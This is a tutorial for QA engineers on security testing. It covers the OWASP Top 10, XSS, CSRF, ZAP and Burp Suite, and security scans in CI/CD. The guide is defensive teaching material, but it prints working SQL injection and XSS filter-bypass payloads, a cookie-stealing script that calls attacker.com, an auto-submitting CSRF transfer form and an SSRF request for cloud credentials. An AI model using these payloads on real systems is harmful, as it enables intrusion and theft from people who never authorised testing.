Security (as discussed in Penetration Testing Basics for QA Testers) testing has evolved from being a specialized niche to an essential competency for QA engineers. With data breaches costing companies millions and damaging reputations irreparably, the responsibility for identifying security (as discussed in OWASP ZAP Automation: Security Scanning in CI/CD) vulnerabilities now extends beyond dedicated security teams to everyone involved in software development. This comprehensive guide equips QA engineers with practical knowledge of security (as discussed in SQL Injection and XSS: Finding Vulnerabilities) testing fundamentals, common vulnerabilities, and the tools needed to discover and validate security issues.

Understanding Security Testing in the QA Context

Security testing is the practice of identifying vulnerabilities, threats, and risks in software systems that could lead to unauthorized access, data breaches, system compromise, or denial of service. Unlike functional testing which validates that features work as intended, security testing examines what happens when features are abused, bypassed, or exploited.

The Security Testing Mindset

Effective security testing requires a mindset shift from traditional QA thinking:

Traditional QA mindset:

  • “Does this feature work as documented?”
  • “What happens when I follow the happy path?”
  • “Can legitimate users accomplish their goals?”

Security testing mindset:

  • “How can this feature be abused?”
  • “What happens when I deliberately provide malicious input?”
  • “Can I bypass authentication or authorization?”
  • “What sensitive data is exposed?”
  • “What happens if I manipulate API calls or browser requests?”

Security Testing vs. Penetration Testing

Security testing is a broad category that includes:

  • Static analysis (code review, SAST tools)
  • Dynamic analysis (runtime testing, DAST tools)
  • Configuration reviews
  • Threat modeling
  • Compliance validation

Penetration testing (or ethical hacking) is a specific type of security testing where testers actively attempt to exploit vulnerabilities to demonstrate real-world attack scenarios. Penetration testing typically requires specialized training and authorization.

As a QA engineer, you’ll primarily focus on automated security scanning, basic vulnerability identification, and security regression testing, leaving complex penetration testing to specialists.

The OWASP Top 10: Your Security Testing Foundation

The OWASP Top 10 is the definitive awareness document for web application security. Published by the Open Web Application Security Project (OWASP), it represents the most critical security risks to web applications based on data from hundreds of organizations and thousands of applications.

OWASP Top 10 (2021 Edition)

Let’s examine each vulnerability category and how QA engineers can test for them.

A01:2021 – Broken Access Control

What it is: Broken Access Control occurs when users can act outside their intended permissions—accessing other users’ data, modifying data they shouldn’t, or performing administrative functions without proper authorization.

Common manifestations:

  • Insecure Direct Object References (IDOR): URLs like /api/users/12345 where changing the ID exposes other users’ data
  • Missing function-level access control: Admin panels accessible to regular users
  • Forced browsing: Accessing pages by guessing URLs (e.g., /admin, /reports)
  • Elevation of privilege: Regular users gaining admin rights through parameter tampering

How to test:

  1. Test vertical access control: Log in as a low-privilege user, intercept requests, and try to access admin functions
  2. Test horizontal access control: As User A, try to access User B’s resources by manipulating IDs or tokens
  3. Test for forced browsing: Try to access restricted URLs directly without authentication
  4. Test parameter tampering: Modify role=user to role=admin in requests

Example test case:

# Normal request as User 12345
GET /api/users/12345/profile HTTP/1.1
Authorization: Bearer <user_12345_token>

# Attack: Try to access User 99999's profile
GET /api/users/99999/profile HTTP/1.1
Authorization: Bearer <user_12345_token>

# Expected secure response: 403 Forbidden
# Vulnerable response: 200 OK with User 99999's data

A02:2021 – Cryptographic Failures

What it is: Failures related to cryptography (or lack thereof) that expose sensitive data. This includes data transmitted without encryption, weak encryption algorithms, improper key management, and missing encryption at rest.

Common manifestations:

  • Transmitting sensitive data over HTTP instead of HTTPS
  • Storing passwords in plain text or with weak hashing (MD5, SHA1)
  • Weak SSL/TLS configurations
  • Hard-coded encryption keys in source code
  • Sensitive data in browser local storage without encryption

How to test:

  1. Verify HTTPS enforcement: Try accessing the application via HTTP—it should redirect to HTTPS
  2. Check certificate validity: Use browser developer tools or SSL Labs to verify certificate strength
  3. Inspect stored data: Check cookies, local storage, session storage for sensitive data
  4. Review password storage: Verify passwords are hashed with strong algorithms (bcrypt, Argon2, PBKDF2)
  5. Check API responses: Ensure sensitive data isn’t unnecessarily exposed in responses

Testing with browser DevTools:

// Open browser console and check local storage
console.log(localStorage);
console.log(sessionStorage);

// Look for sensitive data like:
// - Credit card numbers
// - Social Security Numbers
// - Passwords or tokens
// - Personal health information

A03:2021 – Injection

What it is: Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing unintended commands or accessing data without authorization.

Types of injection:

  • SQL Injection: Manipulating SQL queries
  • NoSQL Injection: Exploiting NoSQL database queries
  • OS Command Injection: Executing system commands
  • LDAP Injection: Manipulating LDAP queries
  • Expression Language (EL) Injection: Exploiting template engines

SQL Injection deep dive:

SQL Injection occurs when user input is incorporated into SQL queries without proper sanitization or parameterization.

Vulnerable code example (Python):

# VULNERABLE - Never do this!
username = request.form['username']
password = request.form['password']

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)

Attack payload:

Username: admin' --
Password: anything

# Resulting query:
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'

# The -- comments out the rest of the query, bypassing password check

How to test for SQL Injection:

  1. Basic payloads:

    • Single quote: '
    • Comment sequences: --, #, /* */
    • Boolean logic: ' OR '1'='1, ' OR 1=1--
    • Time delays: '; WAITFOR DELAY '00:00:05'--
  2. Test in multiple contexts:

    • Login forms (username/password fields)
    • Search functionality
    • Sorting and filtering parameters
    • URL parameters (?id=1' OR '1'='1)
  3. Observe responses:

    • Database errors revealing SQL syntax
    • Unusual results (e.g., all records returned)
    • Time delays (indicating blind SQL injection)
    • Differences in response times or content

Common SQL injection test cases:

# Login bypass
' OR 1=1--
admin' --
' OR 'x'='x
') OR ('x'='x

# Union-based injection (extracting data)
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT username, password, NULL FROM users--

# Blind SQL injection (time-based)
'; IF (1=1) WAITFOR DELAY '00:00:05'--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

# Error-based injection
' AND 1=CONVERT(int, (SELECT @@version))--

Secure code (parameterized query):

# SECURE - Always use parameterized queries
username = request.form['username']
password = request.form['password']

query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(query, (username, password))

A04:2021 – Insecure Design

What it is: Security flaws in the design and architecture of the application, before any code is written. Missing or ineffective security controls in the design phase.

Examples:

  • No rate limiting on password reset allowing brute force
  • Credential recovery questions that are easily guessable
  • Business logic flaws (e.g., transferring negative amounts to increase balance)

How to test:

  1. Review business logic: Look for ways to abuse legitimate features
  2. Test rate limiting: Attempt brute force attacks on login, registration, API endpoints
  3. Examine workflows: Can steps be skipped or performed out of order?
  4. Test for race conditions: Submit multiple simultaneous requests

A05:2021 – Security Misconfiguration

What it is: Insecure default configurations, incomplete setups, open cloud storage, misconfigured HTTP headers, verbose error messages revealing sensitive information.

Common issues:

  • Default credentials still enabled
  • Directory listing enabled
  • Stack traces exposed to users
  • Unnecessary features enabled
  • Missing security headers (CSP, X-Frame-Options, HSTS)

How to test:

  1. Check for default credentials: Try admin/admin, admin/password123
  2. Probe for exposed admin panels: /admin, /administrator, /phpmyadmin
  3. Trigger errors: Send malformed input to reveal stack traces
  4. Check HTTP security headers: Use SecurityHeaders.com or browser DevTools

Essential security headers:

# Content Security Policy - prevents XSS
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

# Prevent clickjacking
X-Frame-Options: DENY

# Enforce HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains

# Prevent MIME sniffing
X-Content-Type-Options: nosniff

# XSS Protection (legacy browsers)
X-XSS-Protection: 1; mode=block

A06:2021 – Vulnerable and Outdated Components

What it is: Using libraries, frameworks, or other software components with known vulnerabilities.

How to test:

  1. Identify versions: Check HTTP headers, error messages, or documentation
  2. Check for known vulnerabilities: Use CVE databases, Snyk, or npm audit
  3. Scan dependencies: Use tools like OWASP Dependency-Check, Retire.js
# Check npm dependencies for vulnerabilities
npm audit

# Check Python packages
pip-audit

# Check Java dependencies with OWASP Dependency-Check
dependency-check --project MyApp --scan ./lib

A07:2021 – Identification and Authentication Failures

What it is: Failures in authentication mechanisms allowing attackers to compromise passwords, keys, or session tokens, or exploit implementation flaws to assume other users’ identities.

Common issues:

  • Weak password requirements
  • Credential stuffing (using leaked credentials)
  • Missing MFA (Multi-Factor Authentication)
  • Session fixation
  • Predictable session IDs

How to test:

  1. Test password policy: Try weak passwords like 123456, password
  2. Test brute force protection: Attempt multiple failed logins
  3. Session management: Check if session tokens are random, secure, and expire
  4. Test logout functionality: Ensure sessions are properly terminated

A08:2021 – Software and Data Integrity Failures

What it is: Code and infrastructure that don’t protect against integrity violations. Examples include using insecure CI/CD pipelines, auto-update mechanisms without verification, or insecure deserialization.

How to test:

  1. Check for unsigned code: Verify digital signatures on downloads
  2. Test deserialization: Send malicious serialized objects
  3. Examine update mechanisms: Can updates be intercepted or spoofed?

A09:2021 – Security Logging and Monitoring Failures

What it is: Insufficient logging, detection, monitoring, and response to security events.

How to test:

  1. Generate security events: Try SQL injection, XSS, login failures
  2. Verify logging: Check if suspicious activities are logged
  3. Test alerting: Confirm that security teams are notified of critical events

A10:2021 – Server-Side Request Forgery (SSRF)

What it is: SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL, allowing attackers to force the application to send requests to arbitrary locations.

Example attack:

# Application allows fetching profile pictures via URL
POST /api/profile/image HTTP/1.1
Content-Type: application/json

{
  "imageUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

# This could expose AWS credentials if running on EC2

How to test:

  1. Test URL parameters: Submit internal IPs (127.0.0.1, 192.168.x.x)
  2. Cloud metadata endpoints: Try accessing cloud provider metadata (169.254.169.254 for AWS)
  3. File protocol: Try file:///etc/passwd

Cross-Site Scripting (XSS): Types and Testing

Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. XSS is one of the most common vulnerabilities in web applications.

Types of XSS

Reflected XSS (Non-Persistent)

Malicious script is reflected off a web server, typically in search results, error messages, or any response that includes user input.

Example:

# Vulnerable search functionality
GET /search?q=<script>alert('XSS')</script>

# Server reflects the input in the response:
<h1>Search results for: <script>alert('XSS')</script></h1>

Stored XSS (Persistent)

Malicious script is permanently stored on the target server (database, file system, message forum) and served to users who access the stored data.

Example:

// Attacker posts a comment with malicious script
Comment: <script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

// Every user viewing this comment executes the script

DOM-Based XSS

The vulnerability exists in client-side code rather than server-side code. The attack payload is executed as a result of modifying the DOM environment.

Example:

// Vulnerable JavaScript code
let search = location.hash.substring(1);
document.getElementById('result').innerHTML = 'Search: ' + search;

// Attack URL:
https://example.com/#<img src=x onerror=alert('XSS')>

Testing for XSS

Basic XSS payloads:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<body onload=alert('XSS')>
<input type="text" value="x" onfocus="alert('XSS')" autofocus>

# Event handlers
<div onmouseover="alert('XSS')">hover me</div>

# JavaScript protocol
<a href="javascript:alert('XSS')">click</a>

# Data URI
<object data="data:text/html,<script>alert('XSS')</script>">

Advanced XSS payloads (bypassing filters):

# Case variation
<ScRiPt>alert('XSS')</sCrIpT>

# Null bytes
<script>al%00ert('XSS')</script>

# HTML encoding
<img src=x onerror="&#97;lert('XSS')">

# Unicode encoding
<script>\u0061lert('XSS')</script>

# Using backticks
<img src=x onerror=`alert('XSS')`>

# Template literals
<script>alert`XSS`</script>

Testing methodology:

  1. Identify input points: Form fields, URL parameters, HTTP headers, file uploads
  2. Test reflection: Submit payloads and check if they appear in responses
  3. Test context: HTML context, JavaScript context, attribute context, URL context
  4. Check encoding: Is input sanitized or encoded?
  5. Test stored data: Submit payloads that will be stored and retrieved later

Cross-Site Request Forgery (CSRF)

CSRF tricks authenticated users into executing unwanted actions on a web application where they’re currently authenticated.

How CSRF works:

  1. User logs into legitimate site (bank.com)
  2. User visits malicious site (attacker.com)
  3. Malicious site triggers a request to bank.com
  4. Browser automatically includes authentication cookies
  5. Bank.com processes the request as if the user initiated it

Example attack:

<!-- Attacker's malicious page -->
<html>
<body>
<h1>You won a prize! Click here to claim it!</h1>

<!-- Hidden form that transfers money -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>

<script>
  // Auto-submit the form when page loads
  document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Testing for CSRF

1. Check for CSRF tokens:

<!-- Secure form with CSRF token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="random_unpredictable_token">
  <input type="text" name="amount">
  <button type="submit">Transfer</button>
</form>

2. Test CSRF protection:

  • Submit forms without CSRF token
  • Use CSRF token from a different session
  • Use expired CSRF tokens
  • Submit GET requests instead of POST (if state-changing operations accept GET)

3. Check for proper validation:

# Test 1: Remove CSRF token
POST /transfer HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz

amount=1000&to=attacker

# Expected: 403 Forbidden (CSRF token missing)
# Vulnerable: 200 OK (request processed)

# Test 2: Wrong CSRF token
POST /transfer HTTP/1.1

csrf_token=invalid_token&amount=1000&to=attacker

4. Check SameSite cookie attribute:

Set-Cookie: session=xyz; HttpOnly; Secure; SameSite=Strict
  • SameSite=Strict: Cookie never sent in cross-site requests
  • SameSite=Lax: Cookie sent on top-level navigation (GET)
  • No SameSite: Cookie sent in all requests (vulnerable to CSRF)

Security Testing Tools

OWASP ZAP (Zed Attack Proxy)

OWASP ZAP is the world’s most popular free security testing tool, actively maintained by the OWASP community. It’s designed specifically for finding vulnerabilities in web applications.

Key features:

  • Intercepting proxy (like Burp Suite)
  • Automated scanner for common vulnerabilities
  • Active and passive scanning
  • Spider/crawler to map application structure
  • Fuzzer for testing input validation
  • API support (REST, SOAP, GraphQL)

Getting started with ZAP:

1. Installation:

# Download from https://www.zaproxy.org/download/

# Or via package manager
brew install --cask owasp-zap  # macOS
apt install zaproxy            # Ubuntu/Debian

2. Basic workflow:

1. Configure browser to use ZAP as proxy (localhost:8080)
2. Browse your application normally (ZAP records all traffic)
3. Run automated scan:
   - Passive scan: Analyzes traffic for issues (safe, non-intrusive)
   - Active scan: Sends attack payloads (can modify data)
4. Review findings in Alerts tab
5. Generate report

3. Automated scanning from CLI:

# Quick scan
zap-cli quick-scan -s all -r https://example.com

# Full scan with authentication
zap-cli active-scan -r https://example.com

# Export results
zap-cli alerts -f json -o results.json

4. ZAP API for CI/CD integration:

from zapv2 import ZAPv2

# Initialize ZAP
zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://localhost:8080'})

# Spider the application
zap.spider.scan('https://example.com')

# Active scan
zap.ascan.scan('https://example.com')

# Get alerts
alerts = zap.core.alerts()
for alert in alerts:
    print(f"Risk: {alert['risk']}, Alert: {alert['alert']}, URL: {alert['url']}")

Burp Suite

Burp Suite is the industry-standard toolkit for web application security testing. The Community Edition is free, while Professional and Enterprise editions offer advanced features.

Key features:

  • Powerful intercepting proxy
  • Scanner (Professional edition only)
  • Repeater for manipulating and resending requests
  • Intruder for automated attacks (brute force, fuzzing)
  • Decoder for encoding/decoding data
  • Comparer for analyzing differences between requests
  • Extender with rich plugin ecosystem

Basic Burp Suite workflow:

1. Proxy setup:

1. Burp Suite → Proxy → Options → Interface: 127.0.0.1:8080
2. Browser → Proxy settings → Manual proxy: localhost:8080
3. Import Burp's CA certificate to browser for HTTPS inspection

2. Using Repeater:

1. Intercept a request in Proxy → HTTP history
2. Right-click → Send to Repeater
3. Modify parameters, headers, body
4. Click "Send" to see response
5. Analyze response for vulnerabilities

3. Using Intruder (brute force/fuzzing):

1. Send request to Intruder
2. Select attack type: Sniper, Battering ram, Pitchfork, Cluster bomb
3. Mark payload positions (e.g., password field)
4. Load payload list (wordlist for brute force)
5. Start attack
6. Analyze results (response codes, lengths, timing)

Example: Testing for SQL injection with Burp Intruder:

# Original request
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=§test§

# Intruder will replace §test§ with payloads:
password=' OR '1'='1
password=' OR 1=1--
password=' UNION SELECT NULL--
# ... etc.

Other Useful Security Testing Tools

Nikto - Web server scanner

nikto -h https://example.com

SQLMap - Automated SQL injection tool

sqlmap -u "https://example.com/page?id=1" --dbs

Nmap - Network scanner

nmap -sV -sC example.com

Wfuzz - Web application fuzzer

wfuzz -c -z file,wordlist.txt https://example.com/FUZZ

Security Testing in CI/CD Pipelines

Integrating security testing into CI/CD ensures vulnerabilities are caught early and don’t reach production.

Recommended approach:

# .github/workflows/security.yml (GitHub Actions example)
name: Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2

      # SAST (Static Application Security Testing)
      - name: Run Bandit (Python SAST)
        run: |
          pip install bandit
          bandit -r . -f json -o bandit-report.json

      # Dependency scanning
      - name: OWASP Dependency Check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'MyApp'
          path: '.'
          format: 'HTML'

      # DAST (Dynamic Application Security Testing)
      - name: ZAP Baseline Scan
        uses: zaproxy/action-baseline@v0.6.1
        with:
          target: 'https://staging.example.com'

      # Upload results
      - name: Upload reports
        uses: actions/upload-artifact@v2
        with:
          name: security-reports
          path: |
            bandit-report.json
            dependency-check-report.html
            zap-report.html

Best Practices for QA Security Testing

1. Adopt a security-first mindset

  • Think like an attacker
  • Question assumptions about trust boundaries
  • Test edge cases and unexpected inputs

2. Test early and often

  • Integrate security testing in every sprint
  • Don’t wait for a dedicated security testing phase
  • Use security testing tools in CI/CD

3. Stay updated on vulnerabilities

  • Follow OWASP Top 10 updates
  • Subscribe to security newsletters (e.g., The Hacker News, SecurityWeek)
  • Track CVEs for technologies you use

4. Collaborate with security teams

  • Attend security training and workshops
  • Participate in bug bounty programs
  • Learn from security researchers

5. Document and track findings

  • Use consistent severity ratings (Critical, High, Medium, Low)
  • Provide clear reproduction steps
  • Track remediation in your issue tracker

6. Test in non-production environments first

  • Never test in production without explicit authorization
  • Use dedicated security testing environments
  • Ensure test data doesn’t contain real sensitive information

7. Understand the legal and ethical boundaries

  • Only test systems you have authorization to test
  • Follow responsible disclosure practices
  • Respect scope limitations

Conclusion

Security testing is no longer optional—it’s a fundamental responsibility of modern QA engineering. While you don’t need to become a full-time penetration tester, developing competency in:

  • Understanding the OWASP Top 10 vulnerabilities
  • Testing for common issues like SQL injection, XSS, and CSRF
  • Using security scanning tools like OWASP ZAP and Burp Suite
  • Integrating security testing into CI/CD pipelines

…will significantly enhance your value as a QA engineer and improve the security posture of the applications you test.

Security is a continuous journey, not a destination. Start small, focus on the most critical vulnerabilities first, and progressively build your security testing expertise. Your efforts will protect users, safeguard data, and contribute to building more resilient and trustworthy applications.